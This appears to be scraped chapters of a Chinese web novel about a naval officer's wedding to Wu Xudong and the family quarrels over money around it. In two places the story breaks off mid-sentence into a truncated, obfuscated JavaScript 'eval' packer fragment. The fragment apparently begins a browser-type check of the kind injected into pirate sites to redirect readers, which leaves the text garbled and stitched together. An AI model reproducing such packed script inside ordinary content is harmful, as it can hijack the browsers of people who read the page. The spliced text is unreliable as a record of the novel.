“知道啦,周指导,快去吧。”吴旭东送她去码头。 这是一座海滨城市。 周子琰服役的地方,在一水之隔的海岛上。 她的战友已经等着了。 见到周子琰,行了个军礼。 周子琰回礼,一身军装,英姿飒爽。 两人上了船,周子琰转身,看向了岸边的吴旭东。 挥手作别的时候,战友问她:“周指导,那是谁?” “你可以喊他姐夫。”周子琰笑笑,直到看不见吴旭东了,这才进了船舱。 * 海岛面积很大,军备充足。 驻扎了一整个团部,戍卫国门。 其中有一支专门的女兵队伍,都是搞技术的。 女人的体格不如男人,但是女人有女人的长处。 那就是身材相对纤瘦小巧,身手灵活,且心细如发。 现代化的海军侦查营,离不开这群女兵的贡献。 比如上上次有个管道堵塞了,男兵那体格根本钻不进去,最后是女兵进去的,成功解决了隐患。 再比如上次下水调试声呐,所有参数都是对的,可就是测不准。 问题在哪儿呢? 是一个土生土长的女兵,提醒大家,目前到了某类鱼群的繁殖期了,大量的鱼群,规模壮观的出现在这片水域,干扰了声呐的正常工作。 潜艇走远点,果然好了。 再比如…… 总之,为了安顿这群女兵,岛上有专门的女兵营房。 至于家属院,那倒是没有特地跟男性的区分开。 毕竟,一个军官,需要一定的职级才能带家属随军。 一般情况下,需要副营职才行。 海军则调整为正连职。 女兵本就不多,正连职及以上的更是没几个,所以没必要特地分开。 而且,都带家属了,大院分不分的真没必要。 营房就不一样了,那都是单身的士兵住的,就连周子琰,只要没结婚,也是住营房的。 周子琰去团部述职,回来的时候,手里带着批准结婚的文件以及军人婚姻登记证明材料。 营房的女兵们见了,纷纷围上来。 “周指导,你要结婚啦!” “嗯。” “对象是谁啊,怎么这么突然,都没有听说过呢。” “过几天你们会见到他的,到时候再介绍。” “哇,这么神秘啊,看来不是咱们岛上的咯。” “嗯。” “我之前听说何政委想把他小儿子介绍给你呢,是他吗?” “不是部队的,好了,不早了,快睡觉。” “有晚婚假吗?” “有。接下来的十三天,我不在岛上,你们的训练由杨副指导负责。好了,熄灯,睡觉。” * 吴旭东一晚上都睡不着。 以往周子琰不在家,他都能抱着相册,酣然入梦。 可是今天,他却忽然辗转反侧,怎么也无法成眠。 是激动吗? 是雀跃吗? 都有吧。 结婚申请通过了,还能在一起腻歪十三天。 这可真是太好了。 他得赶紧把烟戒了,免得害了琰琰,到时候万一怀孕了,孩子又不敢要,岂不是很伤身体? 思来想去,赶紧给楚劲雄打了个电话:“有什么办法可以不让自己老婆怀孕吗?” “不是吧,老婆?你哪来的老婆?”楚劲雄惊呆了,这么快的吗? 这才回去一个多月,老婆都有了! 吴旭东不瞒他:“我跟周子琰要结婚了,可是我还没有戒烟。” “那你戴套啊!”楚劲雄几乎要呐喊了,好羡慕啊。 果然被他说中了,以后再见吴旭东要喊姐夫了。 吴旭东没听说过这个玩意儿,问道:“那是什么?” ……楚劲雄服了,问道:“你们哪天结婚?我知道一个国外的牌子,我家里有,给你送点去。国内的质感不好,太厚,我哥说不舒服。” 吴旭东服了:“你跟你哥什么都说的吗?” “对啊,他有时候顾不上买,都是我帮忙买的。哎呀,这有什么的,都是自家兄弟,都是成年人。男男女女不就那回事儿!” 吴旭东沉默了。 他其实不懂是哪回事儿,只是本能的知道,可能需要一些肌肤之亲的交流。 但也仅限于此。 楚劲雄猜到了:“这样,你等我明天过来找你吧,给你带两本书,不谢。” “你不上班了?” “上个屁班,一肚子窝囊气。我跟你说,这些人都是老油条,看我们是学生好欺负,故意使绊子呢,我都气死了。”楚劲雄大学四年都跟着吴旭东跑,这下忽然分开了,需要独立行走了,怪不适应的。思来想去,干脆厚着脸皮道,“要不你也给我介绍个女兵结婚好了,我还跟你混!” 吴旭东沉思片刻:“也好,我准备做点生意,需要一个跑腿的,你想清楚,愿意来就来,混不好了也别怨我,自己的前途自己拿主意。” “那还用想什么啊,我肯定跟你混啊!”楚劲雄高兴坏了,忽然有些好奇,“哎,你做生意的话,哪来的本钱啊?家里给的?你爸妈对你不错啊。” “没有。”吴旭东眼神一暗,他妈妈生活不能自理,爸爸走不开,他不怪他们。 可是大哥居然真的没有出来找过他,太寒心了。 所以,吴家他不想再提了。 他直接跟楚劲雄兜了底:“我没拿吴家一分钱。” “那是周姐给你的?” “我是吃软饭的人吗?” “你自己的?” “我把修车店卖了。” “卧槽!那店是你的?” “团团姥爷给我的。” “……东哥,你可真是我哥啊!三年了,我居然都蒙在鼓里,还担心你穷呢!” “难道我不穷?别人给的,又不是自己挣的。” “那你现在怎么不觉得是别人给的了?” “不想让人笑话周子琰。” “懂了,你可真是个感天动地的好姐夫。行,我服了!” “别贫,要来赶紧的,我十九号结婚。” “知道了姐夫,姐夫在上,小的听命办事,绝对不辱使命。” “滚!” “哈哈哈!” 被楚劲雄一打岔,吴旭东那颗躁动的心,离奇的安静了下来。 可能是那几声姐夫,让他有了一点真实的感觉。 要结婚的真实感。 真好,以后他就是周子琰的配偶了,走到哪里,别人冲周子琰的面子,都得管他叫一声姐夫。 挺好的。 他宁愿做她的陪衬,永远守候着她,看她大放异彩,看她翱翔蓝天,看她纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天哪,这个女人,为什么总是这么轻而易举,就能让他成为俘虏。 吴旭东忍不了了,一个翻身,将她摁在床上:“琰琰,我不是君子,让我去刷牙,再等等。” 周子琰等他刷完牙,一个翻身,重新将他摁在床上,俯身,继续亲吻。 每一寸皮肤的战栗,都要用她的爱意抚平。 “小东,我知道你缺什么,我给你。”周子琰握住他的手,“来,帮我解开。” “不行。”吴旭东移开视线,还想再等等。 周子琰干脆握着他的手,扯开了自己的衬衫,扣子崩得到处都是。 “吴旭东,你的一切我都喜欢,哪怕是你的伤痕,哪怕是你的坏脾气。我要你记住这句话。”所以,她要用行动,让他铭记。 吴旭东闭上眼,认命了。 这个女人,简直扼住了他的命脉,熟知他的一切软肋。 只是一句话,便让他彻底抛弃了所谓的原则。 反正部队都批准了不是吗? 他不再矫情,热情的回应。 可是又怕让她怀孕,犹豫间,耳边传来一声轻笑:“傻子,我有多囊,还没有治好,暂时不会怀孕的。” 那就好,他不禁松了口气。 再也没有顾虑了,尽情投入。 他从来没有想过,自己这一块坚冰,会在一个女人的怀里,融化成一滩彻头彻尾的柔软。 仿佛是那高山上晶莹的白雪,又仿佛是春风吹落的一地梨花。 他彻底融入了她的生命,成了她的一部分。 他的救命稻草不再是一根,而是漫山遍野,铺天盖地,蓬勃地生长着绿油油的秧苗。 从此,他有了一个安稳的归宿,一个温暖的巢穴。 桃源望断寻归处。 那人却在香闺晨光里。 此生契阔,不离不弃。 * 两人洗漱一新,穿戴整齐,去参加诸葛光的婚礼。 路上去婚庆店买了一沓请柬,抓紧时间写好,在诸葛光的婚礼上发给共同的亲友。 气得诸葛光差点在婚礼上失控。 他看着那对坐在一起的璧人,旁若无人的给别人递上请柬,气得眼睛滴血。 散席后,他拿起给他的那一份,看看上面的日期。 八月十九号。 “等着,我倒要看看,吴家大嫂把持财政,肯定不会有钱给吴旭东,他一个穷山沟里逃出来的寒酸,能给你什么婚礼!” 这一天很快到来。 隆重程度超乎诸葛光的想象。 他诧异的看着酒店前的百合花拱形门,再看看特地赶回来参加婚礼的周吴安三家的亲眷们。 他酸了。 就连大忙人周子杰也来了,飞行员的制服都没有来得及换下,就为了给周子琰撑场子。 更酸的是,周子琰的证婚人,居然是何政委! 借他几个胆子也不敢作妖啊。 最离谱的是,席间还有一群大学生,据说是吴旭东的同学。 楚劲雄这个看热闹不嫌事大的,来了之后非要怂恿班上那群人来看吴旭东结婚。 有些人想看吴旭东笑话,有些则是真的好奇,吴旭东居然是毕业后第一个结婚的,到底是哪个瞎了眼的女人会要他。 结果一来,全都傻眼了。 这么隆重的婚礼,吴旭东一夜之间变凤凰啦! 同学们纷纷打听起来,楚劲雄却故意卖关子:“总之,你们记好了,今天这间酒楼,咱们的姐夫包了!” “姐夫?”诸葛光一听这话,气得扭头便走,份子钱也不想随了。 24. 悍姨 小儿子要结婚了! 吴国正非常激动,特地拿出存折,想取点钱出来。 结果被大儿媳一把夺了过去。 顾蔓蔓抱着手臂,高高在上的质问道:“你准备给他多少钱?” “十万。”吴国正不是穷光蛋,心心念念的小儿子回来了,怎么着不得补偿一下? 孩子在外面遭了大罪的啊。 而且一回来就被气跑了。 这些天他也琢磨明白了,按照老周的意思,这孩子是觉得家里没给他留房间,没有归属感。 可他真的不是故意的,他得照顾老妻,如果大儿媳加班,他还要牵着老妻去接送孙女上学,他真的尽力了。 想不周到而已,不是刻意疏忽了东东。 可是东东说什么也不肯回来了。 好在北北告诉他,东东住到子琰那里去了。 他的心里这才稍微宽慰一点。 现在东东要结婚了,不管怎么说,他都要表示表示。 再说了,小儿媳还是周家的,他要是一毛不拔,东东在老丈人面前还怎么做人。 难不成做人家的赘婿吗? 那成什么了? 吴国正心里有口气,一把将存折夺了过来。 顾蔓蔓还想抢,气得吴国正骂道:“注意你的身份!我是你的长辈!不是你的摇钱树!这家里的哪一样东西不是我买的!这房子也是我买的!我自己的儿子都住不得?天底下就没有你这样做嫂子的,再这样不讲道理,以后一分钱也别想要我的!” 气得顾蔓蔓当即收拾行李,带着孩子回娘家去了。 发动娘家的七大姑八大姨,要跟吴国正打擂台。 吴国正气不过,拦住了准备去追的吴燕西,把门一锁,逼着他跪下。 吴燕西怂啊,立马乖乖地跪在了客厅里。 然而吴国正苦口婆心地数落了半天,他都是左耳朵进,右耳朵出。 等吴国正说累了去喝水的时候,一回头,人跑了。 天大的事都不如他那个婆娘重要。 吴国正只能给顾家去了个电话,让这对夫妻有本事一辈子都别回来。 没想到,两口子气性还挺大,今天东东结婚,做哥哥嫂子的居然没来! 气死吴国正了,真不知道怎么生了这么一个东西! 他坐在男方的席位上,浑身不自在。 趁着婚礼还没有开始,赶紧冲周中擎招了招手。 周中擎过来坐下:“怎么了老吴?” “今天这婚礼,你跟老安出的钱?”吴国正惭愧啊,这婚礼排场够大,肯定不是东东掏的钱。 那就只能是亲家出的了,吴国正老脸无光啊。 吴家又不是穷得揭不开锅了。 还好他来的时候取了十万装包里了,赶紧往周中擎怀里塞。 周中擎没要:“不是我出的,我给他拿了十万,他没要。这孩子有志气,自己筹的钱。” “他哪儿来这么多钱啊!不会是做了什么违法乱纪的事吧?”吴国正吓了一跳,这年头来钱快的可没有几个好行当啊。 周中擎气得不想理他:“你这张烂嘴!你就不能盼我女婿一点儿好!” 吴国正愣住了,这话怎么这么别扭呢? “是你女婿没错,可他也是我儿子啊,我担心他管教他都是应该的嘛?”吴国正委屈。 周中擎无语了:“我这么跟你说吧,我相信小东,这孩子有的是真本事,钱怎么来的我都不用问,一定是合法合规的!你不相信他没关系,我相信我女儿女婿!哎!这就够了!” 说罢,周中擎走了,去自家亲眷堆里寒暄。 片刻后,安一方坐了过来。 他盯着吴国正,一双虎目,像是要吃人。 搞得吴国正紧张得不行,额头上都出汗了。 只得讪讪的喊了声:“安老哥。” 安一方冷着脸:“我怎么听人说,小东一回来就被气跑了,一晚都没在家住过?” “……”吴国正无言以对,只能叹气。 安一方冷笑:“要不是看在九妹的面子上,我都不想掺和你家的事儿!我好歹要管你叫一声姐夫,你就听我一句劝,让燕西两口子搬出去住吧!小东这些年遭了大罪了,好不容易回来了,还要受哥哥嫂子的气,你忍心吗?” “我这不是忙不过来吗?你三姨姐晚上洗澡,我一个人照顾不过来,还得指望蔓蔓搭把手。你看她这几天不在,我差点把你三姨姐给摔了。”吴国正真的委屈。 安一方恼了,骂道:“你缺心眼儿啊!不会请护工?有钱养那种泼妇儿媳妇,没钱请护工?护工敢对你大呼小叫吗?你的岁数都长到狗肚子里去了?” “你看看,不讲理是不是?我没请过吗?都没那个耐心!”吴国正以前真的请过护工,结果那女人偷偷拿锥鞋帮的锥子扎他的老妻,他这是一朝被蛇咬十年怕井绳啊! 安一方无语了:“全中国这么多人,哪个行业没有几个败类?怎么,遇到一个坏的,就代表其他护工都是坏的?赶紧的,别废话,不行我给你介绍一个。这次无论如何要跟老大媳妇掰扯清楚了。能过过,不能过滚蛋!惯的她!” “……”吴国正沉默了,可是燕西两个孩子呢,真要是离了,给孩子找个后妈,未必有蔓蔓好啊。 安一方知道他在想什么,质问道:“九妹是不是后妈?她跟我家正则和玉成是不是好好的?我家老二媳妇是不是后妈?她跟两个孩子不是好好的?我跟老周是不是后爸?我们两个有谁对孩子不好了?人小杰都知道老周好,特地改姓周了,就想让老周宽心!这么多正面的例子你不看?你总盯着那些不好的,这日子能过吗?” 吴国正张了张嘴,想想也对。 安一方不愧是几家人的老大哥,说的话就是有道理。 岁数比他大,资历和阅历也都远比他强。 不过是后来跟谈九妹组成了再婚家庭,所以反过来了,安一方得管他叫姐夫。 这一声姐夫他着实担当不起,见了面还是得叫安老哥。 现在老大哥教训他几句,他当然要听了。 他把装满现金的帆布包往安一方怀里塞:“我给东东的,十万。他不肯理我,你帮我拿给他吧。” “谁说他不理你了?没看他忙前忙后的在招呼客人吗?自己的儿子,自己给去!谁要当你的传话筒!我吃饱了撑的!”安一方嫌弃这个傻老帽,直接走开了。 坐到女方亲眷的席位上,还不忘跟人嘀咕。 “不像话!” 这是吴国正隐约听到的三个字。 他无地自容,犹豫再三,还是起身,把小姨子谈九妹喊了过来。 她既是女方的亲眷,也是男方的,坐哪边都行。 “九妹,照顾一下你姐。我去跟东东说两句话。”吴国正总算是下定决心了。 老子准备跟儿子赔不是,破天荒头一回。 谈九妹不禁松了口气:“快去,老安跟我念叨半天了,说你们全家欺负小东呢。你也不怕丢了你这张老脸!” 吴国正赶紧去找吴旭东。 吴旭东本来没准备同学的席位,没想到楚劲雄好心办坏事,这会儿只得临时再加几张桌子。 幸亏酒楼被他包场了,要不然多丢人。 这会儿他正在训楚劲雄呢,尽出馊主意。 楚劲雄乐得不行:“这怎么能叫馊主意呢?我就是想让这帮狗东西开开眼!看看咱这东姐夫到底有多大的排场!” 吴旭东不想理他,神经。 正准备踹他一脚,吴国正来了。 拽着他的胳膊就往他怀里塞钱:“东东!给你们结婚用的,拿着!不多,也就十万,老爸的一点心意。没给你留房间是老爸的疏忽,你别往心里去,那个家,永远欢迎你。” 多少?十万!楚劲雄羡慕坏了,赶紧劝吴旭东收下。 吴旭东没要:“不用爸,你照顾我妈挺辛苦的,我不能要你的钱。” 吴国正不听,还是往他怀里塞。 吴旭东嫌烦,直接把他三姐叫了过来:“姐,劝劝咱爸,回头大哥大嫂要是闹离婚,那不成了我的责任了,我不要。” 结果吴巷北是个叛徒,不听他的,还反过来劝他:“离了才好呢!你结婚他们都不来!这种哥哥嫂子认了干什么?拿着呗!你是不知道,这些年咱家的钱啊,除了给咱妈看病的,其他的不说全部,起码百分之九十都是他们两口子花的,凭什么!拿着,姐支持你要,你应得的!” 吴旭东沉默了,得,这不是救兵,这是添乱的。 只能把丈母娘叫了过来。 哎,没辙,这世上能降伏他老子的,只有他老丈人和丈母娘了。 一个是他爸的老战友,一个是老领导。 受着吧。 丈母娘一来,吴旭东直接开溜:“妈,你劝劝我爸,这钱我不能要。” “是不能要!真想给的话就把燕西他们叫回来说清楚了。要么分家,把这些年的花销算算明白,每个孩子一视同仁。要么继续这么稀里糊涂的,那以后你爸妈养老就全归他们两口子。可别什么好处都是他们拿的,以后养老还想四个人分担,天底下没有这样的道理。”老安一句话,吴国正乖乖的把钱收起来了。 没办法,句句正中要害,没有一句废话。 掰扯清楚了,这钱才能给东东。 吴国正叹气,坐回去了。 一旁的楚劲雄目瞪口呆:“不是吧,你爸这么听你丈母娘的话啊?” “老领导,拿捏!”吴旭东笑了。 不是笑自己老爸窝囊,而是欣赏丈母娘的威风。 难怪能养出琰琰这样的女儿。 不过他一笑,楚劲雄郁闷了,有点心疼吴国正。 这个笨拙的老父亲没有坏心,就是不会处理家务事。 思来想去,楚劲雄问道:“要不,我去陪你爸唠会儿?跟他说说你的事儿,帮你们父子拉近一下距离。我看他也挺不容易的,他不是真的拎不清,只是不想家里人翻脸吧?” “随便你,反正你坐不住。”吴旭东还能不了解他? 楚劲雄嘿嘿笑着,从同学这桌起身,往吴国正那边去了。 一旁的班长孙谦听完了全部的对话,他推了推眼镜儿,站起来想做做吴旭东的思想工作。 毕竟,他没见过这样跟老子说话的儿子。 结果潘浩一把扯着他坐下。 小声道:“别啊班长,人家老婆是什么身份啊?能听你的教育?” 孙谦刚到一会儿,还不知道吴旭东老婆到底什么背景,就知道这婚礼排场挺大,女方那边坐的,全都像是有来头的。 只得小声问道:“女方很厉害吗?” “那可不!海军侦察营的技术指导员!而且啊,人爸爸叫周中擎,大舅是安一方!”潘浩狗鼻子灵,刚来一个多小时就打听清楚了。 孙谦惊讶得说不出话来。 旁边的女生是孙谦的女朋友,名叫云朵,她压低了声音怪叫道:“安一方?这名字好像听过!” “废话,人家是飞机设计总工程师!还上过新闻联播呢!”潘浩是个百晓生,眉飞色舞的,好像安一方是他大舅似的。 旁边一个瘦麻杆则问道:“女方的爸爸是周中擎?难道是我姐公司的那个老总?” “不然呢?”潘浩叹气,“哎,早知道王耀宗可以麻雀变凤凰,当初就该对他好点!” “你这个烂嘴!还王耀宗呢?刚才那谁提了这个名字,直接被楚劲雄踹出去了!”云朵小声提醒。 潘浩赶紧捂嘴,不说话了。 * 顾家住在城中村。 家家户户带一个非常狭窄的小门廊,两米来宽,堆放点杂物。 门廊后面是三间正房,一大家子挤在一起。 实在住不下了,就在门廊跟正房之间搭点石棉瓦,生生造出个小房间来。 这种居住条件,养出的自然都是市井小民。 更让人烦躁的是,几年前就说快拆迁了,结果至今没有动静。 顾蔓蔓回来,自然只能住在门廊的石棉瓦下,日子并不好过。 不过她这会儿还在赌气呢,不肯去婚宴。 娘家人全都劝她:“蔓蔓啊,快点去吧,要不然,你这小叔子可就真的跟你们结仇了!别的不说,他老丈人是什么身份?他丈母娘更是得罪不起!就连他那老婆,迟早也是个大人物,这一家子没有一个是好惹的呀!你就是不为你自己,你也为你弟弟考虑考虑,他还指望竞标安家的项目挣钱呢!” 顾蔓蔓还是气不过,埋怨道:“你们到底是不是我的娘家人啊?不过是回家的那天不让他扔碗,他就赌气走了!脾气这么大,谁伺候啊,缺祖宗吗?” 顾母恼了:“你够了!本来就是你不好!人家是家里的小儿子,扔个碗怎么了!要你买吗?你公公婆婆还没死呢,轮不到你当家!” “是,轮不到我当家!娘家拿我当外人,婆家也拿我当外人,那我算什么?这些年我没有帮着照顾那个老太婆吗?我没有为他们老吴家生儿……生女育女吗?怎么到头来,我两头都落不着好,两头都是外人!”顾蔓蔓委屈坏了,嚎啕大哭。 顾母无奈,劝道:“不是娘家婆家不拿你当人,而是你的手啊,不能伸太长!爸妈公婆愿意给你的,你就要,不愿意的,你急赤白脸的去抢也没用啊!再说了,人家儿子被拐了十几年,不得补偿一下?当初你要嫁过去的时候就提醒过你了,是你自己抱着侥幸心理,想赌小叔子死了不会回来。现在赌输了,你总不能把人再送回山沟里去吧。” 顾蔓蔓不说话了。 猛地起身,盯着这群吸血鬼。 她不是傻子,还能不知道他们打的什么主意吗? 不过是怕她得罪了周家跟安家,以后不好再沾光了。 至于她到底委不委屈,不重要。 反正牺牲她一个,幸福一大家嘛! 怨恨的视线从每一个人身上扫过,她的脑子里好像自带算盘,三下五除二,立马算出这些人从她身上捞了多少好处。 算完了,她直接摊开手心:“要我去可以,把你们欠我的钱还我,我立马走人!那可都是我公婆的,总不能你们拿了好处,让我一个人做恶人吧!” 这下全都哑火了。 所有人面面相觑,恨不得现在就走,免得这个大姑姐真的来讨债。 人群中,只有窝囊废吴燕西嘀咕了一句:“婚礼马上开始了。” 顾蔓蔓刷的一下抬头瞪了过去,吓得吴燕西缩了缩脖子,再也不敢吭声了。 “除非你爸打电话请我过去,否则门儿都没有!我倒要看看,没了我,他怎么照顾你妈!”顾蔓蔓放下狠话,转身出去做饭。 顾母生怕得罪了周家跟安家,趁机赶紧劝吴燕西:“燕西啊,她不去你去!快去啊!家里要是问起来,你就说蔓蔓小产了,怕冲撞了喜事,所以没去。对了,这是随礼的钱,五百,拿着!” 顾母也是下血本了,天知道她平时随礼是只随二十的,就是她兄弟姐妹家也不例外。 铁母鸡拔毛,不容易啊。 吴燕西却还在犹豫,没办法,母老虎的威慑力太强了,他不敢自作主张,只得把钱推了回去:“算了,估计来不及了。” 话音刚落,大门被人敲响。 顾母以为吴国正来了,赶紧去开门。 结果来的是一个五十左右的时髦女人,气势汹汹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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气得顾宝宝把钱全部拿了出来,只扔了个空包出去。 顾母急得不行,赶紧抽了几张,从门缝塞了出去。 “蔓蔓啊,跟你小叔子好好儿说话!以后说不定还得指望他帮忙呢!快去吧!不够问你公公拿存折再取点儿!”顾母尽力了。 叹了口气,骂道:“宝宝啊,你真是贪得无厌啊你!你姐为你都拿了吴家十几万了,你到底投的什么资,怎么到现在还没看到效益啊?” 顾宝宝随口撒了个谎:“产品需要时间生产啊!还要推销啊,催款啊,不得有个过程吗?” 顾母信了,叹气道:“以后注意一点,你姐家的小叔子回来了,以后可没有这么多钱帮你了。” “那就不让我姐去呗!反正那人是穷山沟里养大的,估计也不会有什么本事的。那个周子琰纯粹就是眼瞎了。”顾宝宝挺会精神胜利法的。 顾母也有点怀疑,不过看在周家和安家的面子上,还是要让女儿去一下的。 * 婚礼还有十分钟开始。 谈九妹提溜着吴燕西的耳朵,紧赶慢赶,可算是快到了。 刚到门口,便看到诸葛光在那里来回踱着步子。 他又回来了。 不甘心。 说什么也想亲眼看到周子琰结婚。 没想到扭头一看,谈九妹正对着他冷笑呢。 只得讪讪的喊了声阿姨好。 谈九妹一脚便把吴燕西踹了进去。 转身打量着诸葛光,问道:“怎么?你想给我家小东添堵啊?” “……”她怎么看出来的啊?人精吗? 诸葛光有点崩溃。 谈九妹直接一脚踹了上去:“给姑奶奶滚!你老子那么一个响当当的人物,怎么就养出你这么一个混账羔子!你就不拍他掀开棺材板抽你俩嘴巴子吗?滚!赶紧滚!” 诸葛光气死了,离远点才有胆子回嘴:“以后周子琰问我怎么没有回礼金,都是你害的!” “谁稀罕你那点破钱,滚!”谈九妹宛如老虎发威,吓人得很。 亲眼看到诸葛光上了公交车,这才叮嘱门童:“不准那个人进来,也不准一个烫着大波浪的女人进来,听见没有?” “听见了。” 谈九妹气顺了,赶紧去男方席位上坐下,她得摁着点吴燕西,不然这憨怂肯定要跑。 她倒不是想多事,而是小东结婚,如果哥哥嫂子都不来,别人还不知道要怎么造谣呢。 “是不是吴旭东气跑了哥哥嫂子啊?” “是不是跟哥哥嫂子争家产闹翻了啊?” “是不是穷山沟里养大的上不得台面,所以哥哥嫂子敬而远之啊?” 人言可畏! 她不忍心。 小东多好一孩子啊。 请柬都是他亲自送她手上的呢。 懂事,乖巧,让人喜欢。 这么好的一个孩子,她当然要护着。 婚礼快开始了,她面带微笑,真心祝福这对佳偶。 隔壁桌吴家姑姑好奇,问道:“燕西啊,蔓蔓怎么没来啊?” 吴燕西还没有开口,就被谈九妹挡了,她皮笑肉不笑的,说点场面话:“蔓蔓那孩子懂事,生病了,来不了。特地让我把礼金带过来了。” “生的什么病啊?”吴家姑姑喜欢打破沙锅问到底。 谈九妹阴阳怪气道:“跟你当年一样的病。” ……吴家姑姑不说话了。 这个谈九妹,当初骂她得了断子绝孙的病! 今天倒好,又骂她一回,气死了! 可惜她男人死了,谈九妹的男人却威风得很,她不敢得罪,只好闭嘴。 吴燕西一头雾水,小声道:“小姨,我小姑生过什么病啊?” “断子绝孙的病!”谈九妹咬牙切齿。 吴燕西并不清楚长辈的龃龉,还想再问,谈九妹一个冷眼扫过去,立马闭嘴。 还好吴国正没有老年痴呆,提醒道:“你忘了你两个妹妹为什么没钱上学,要靠你周叔叔接济了?” “啊……”吴燕西想起来了。 好像是因为当初爸妈回城,爸爸为了照顾妈妈,没办法工作,爷爷奶奶手里有钱,想资助他们一家,结果被小姑想方设法全都骗走了。 那么多兄弟姐妹,一点都不给别人留。 最后全被她那个废物男人败完了。 这不,男人后来吃枪子儿去了,儿子也不学好,坐牢的时候被狱友打死了,女儿私奔,下落不明。 可不是断子绝孙! 吴燕西忽然一个哆嗦,好像从小姑的身上看到了自己的未来。 他忽然没胃口了,默默注视着神采飞扬的小弟,问道:“小姨,你今天到底算东东的小姨,还是周子琰的大舅妈。” “都算。”谈九妹跟安一方走到一起,本来就是因为周中擎跟吴国正是战友,吴国正又成了老安的同事,两家因为工作调动住一起了。 这才话赶话,把离异的她介绍给了安一方。 所以这两头的亲眷,她一个也不想丟,都是她的亲人啊! 非要分个亲疏远近吗? 她宁可一样亲。 吴燕西苦笑:“还是东东福气好。小姨,你不会真的让东东跟我闹分家吧?” “我看还是分了的好。你得了家里这么多好处,也该自力更生了。”谈九妹看向吴国正,“你说是吧,姐夫?” 25. 发财(二更) 婚礼开始了! 这几年流行半中半西的仪式。 穿婚纱,但是拜高堂拜天地。 周子琰不喜欢搞得太复杂,直接穿着海军的白色军装,挽着吴旭东给亲友们敬酒。 吴旭东非要妇唱夫随,穿的是白色的西装西裤,配白色皮鞋,浑身上下,白得让人咋舌。 偏偏他又是冷白皮,看上去像是一块羊脂玉成了精,跟着周子琰到处跑。 来到吴家父母这一桌的时候,周子琰客客气气的。 喊了爸,叫了妈,两个姐姐还是姐姐,不用改口。 只有对吴燕西,从“燕西哥”改成了“大哥”。 旁边的阿依莎跟依明倒是乖巧,立马喊了声小舅妈。 周子琰笑得开心,看,结婚真是一件神奇的事情,自己立马多了几个晚辈。 小舅妈,这称呼真好玩儿。 敬完酒,吴国正给了两万块改口费,厚厚的两个牛皮纸信封,一个算他的,一个算老母亲的。 一看就很舍得。 一旁的吴燕西有点眼红,他结婚的时候,蔓蔓的改口费才两百。 得亏蔓蔓没来,不然肯定要气死了。 周子琰没有拒绝,这是长辈给的改口费,不收就是不礼貌了。 两个姐姐也给了,一人两百,聊表心意。 只有吴燕西,空着两只手,临时找二妹吴星南借了两百。 周子琰没要:“既然燕西哥没钱,那就不用破费了。” 所以连称呼也改回去了。 吴燕西:……矫情。 吴星南:子琰好帅,我就不如子琰硬气。 吴巷北:大哥这个蠢货,哭的日子在后头。 一对新人,很快往别的亲友那边去了。 吴国正看着小儿子的身影,忽然有些惆怅。 哎,丢了十七年,一回来就成了别人家的女婿,这父子关系还能修补回来吗? 他不知道。 好在改口费收了,小两口还是认他这个老子的。 吴国正可算是松了口气。 * 周子琰来到同学这一桌的时候,潘浩屁颠屁颠的站起来:“周姐,又见面了!恭喜恭喜啊!” 周子琰笑笑:“你们坐火车过来的吧?” “是啊,就我们几个离得近的过来了,等会吃完就得走,明天还要上班。”潘浩笑得谄媚,“周姐,以后多关照啊。我跟姐夫上下铺,一个宿舍的。” “好说。”周子琰客套一下,跟吴旭东去敬吴家那边的亲友。 孙谦盯着她的背影,若有所思。 根据她的肩章来看,这已经是个副营级的军官了。 难怪潘浩这么谄媚。 吴旭东好福气啊,一毕业就被这样一个女人看上了。 果然长得好看就是了不起。 羡慕。 羡慕坏了。 再看自己的女朋友…… 认命吧。 云朵察觉到他的目光,翻了个白眼:“你别以为我不知道你在想什么。省省吧,军嫂不是好当的,这女兵的配偶就更加不好当了。别看吴旭东现在风光,独守空房的时候就有得哭了。” 那倒也是。 孙谦想了想,那日子估计一般男人受不了。 他敬吴旭东是条汉子,加油吧,老同学。 * 敬酒敬到吴家亲眷这里。 吴家小姑心里有气,又不敢怎么样,敷衍着抿了一口就坐下了。 周子琰知道她当初玩过什么把戏,笑着问道:“吴家姑姑,怎么没见你女儿来啊。现在是新时代了,私奔不算什么丑闻的,让她回来呗。” 吴国美皮笑肉不笑的:“谁知道她死哪儿去了,爱回不回,你赶紧敬酒去吧。” 周子琰却还想扎她一刀,毕竟有仇不报非君子。 她笑着劝道:“吴家姑姑,死不死的,这话还是少说,不然哪天应验了,难不成是你把自己女儿咒死了?” 吴国美气得浑身发抖,又不敢反驳什么,直到周子琰去了别的桌敬酒,她才趴在桌子上哭了起来。 “都欺负我没有男人撑腰,都欺负我……” “当初你欺负人的时候怎么不想想以后啊!”邻桌的谈九妹冷不丁挖苦一句。 吴国美不敢反驳回去,安一方在斜对面那桌坐着呢。 只得恨恨地擦掉眼泪,鼓着腮帮子,拿饭菜出气。 谈九妹心情大好,看这种曾经的歹人吃瘪,爽死了! 不过坐在吴家这边真别扭啊,还是过道对面的安家亲眷好,全是欢声笑语,气氛好得不像话。 真想坐回去,不想在吴家这边吹冷风了。 可是谁让她有个痴痴傻傻的姐姐。 饭都不会吃。 想到这里,又生不起姐夫的气了。 只能缓和了口吻,劝道:“姐夫,趁着今天四个孩子都在,等会婚礼结束,我们大家做个见证,你让几个孩子分家吧。” “我考虑一下。” “我知道,你不想看到几个儿女急赤白脸的去争去抢,可是你那个大儿媳是个什么人你比我清楚。别的兄弟姐妹不争不抢,全便宜了她了!” “我心里有数。” “姐夫你别怪我狠心,当初你出事不怪你,可是小东才五岁就要学着照顾妈妈了,要不是这样,也不至于被人拐卖。说来说去,最无辜的就是小东,你必须补偿他。要不然,别怪我不讲情面!” “我没说不补偿!” “你那叫补偿?分明是添乱!你们原始股的钱,可都是我跟安大哥借给你们的!你们一家能有今天,离不开安家跟老周的帮衬。吃水不忘挖井人,人要有良心。何况小东现在是人家的女婿,你想想,人家差钱吗?不过是想给小东讨一个公道!” “那你说吧,要我怎么做。” 